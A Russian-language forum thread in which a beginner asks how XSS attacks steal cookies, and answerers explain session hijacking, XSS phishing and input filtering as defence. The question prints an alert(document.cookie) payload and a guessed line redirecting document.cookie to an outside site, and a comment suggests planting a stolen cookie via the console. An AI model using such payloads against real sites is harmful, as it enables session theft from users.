0

Что-то я совсем не понимаю как работают XSS-атаки. Нашел как можно защитится от них:

Читал что можно получить доступ к document.cookies,логину и паролю при авторизации,можно создать нового пользователя в БД,провести запросы к БД, которые выводят секретную информацию.

Но как все это осуществляется непонятно, за исключением части с БД.

Ну, пример атаки:

<script>alert("cookie: "+document.cookie)</script>

Вроде код должен вывести куки пользователя. Как переправляется на сайт вломщика? Предположение:

window.location,href='http://mysite.com?cookie='+ document.cookie

Так?

Очень часто на форумах попадаются темы "Как передать переменную PHP в js". Это что они хотели провести XSS-атаку?

Я могу сделать атаку вида:

<script>
    var session='<?php json_decode($_SESSION) ?>'
</script>

То есть, взять и посмотреть, какая у них там сессия работает?

1
  • Язык вопроса ужасающий. Слегка подкорректировал, но, по уму, его б с нуля переписать.
    – Risto
    15 янв 2017 в 16:58

1 ответ 1

4

Вот тут есть хорошая статья на эту тему: XSS глазами злоумышленника

А в целом xss никак не может получить данные напрямую с сервера. Для того что бы украсть сессию пользователя нужно украсть его cookie и подменить ими свои, что бы сервер думал что Вы - это тот пользователь, куки которого Вы украли. Это возможно из-за того что сервер проверяет сессию по кукам, которые он записывает в браузере клиента и которые, теоретически, не может получить никто кроме сайта, который их записал.

Но вообще это один из видов XSS, есть еще вариант фишинга с помощью XSS (подмена настоящего сайта своей копией, что бы украсть пароль и логин пользователя)

Самая лучшая защита от XSS это фильтрация всего что пользователь отправляет на сервер. Это не позволит злоумышленнику оставить у вас на сайте вредоносный код.

5
  • Доволен ответом.Но практически примером можете помочь?Я себе не представляю как "...его cookie и подменить ими свои".
    – koza4ok
    1 окт 2013 в 9:26
  • > Но практически примером можете помочь? ссылку на хабр же дали, влом прочесть статью?
    – Palmervan
    1 окт 2013 в 9:35
  • Palmervan обожаю умников...Ты изначально смотрел мой вопрос и код ,который я написал?На хабре только голая теория..
    – koza4ok
    1 окт 2013 в 12:28
  • @koza4ok ненавижу ленивых... [habrasearch][1] и [место][2] где тебе точно помогут [1]: habrahabr.ru/search/?q=xss [2]: forum.antichat.ru
    – Palmervan
    1 окт 2013 в 13:52
  • 2
    Я на практике куки не подменял, но мне кажется что будет достаточно в консоле добавить куку от имени сайта. Что то типа: document.cookie = 'cookie_from_sacrifice'
    – MrFranke
    1 окт 2013 в 14:02

Ваш ответ

By clicking “Отправить ответ”, you agree to our terms of service and acknowledge you have read our privacy policy.

Всё ещё ищете ответ? Посмотрите другие вопросы с метками или задайте свой вопрос.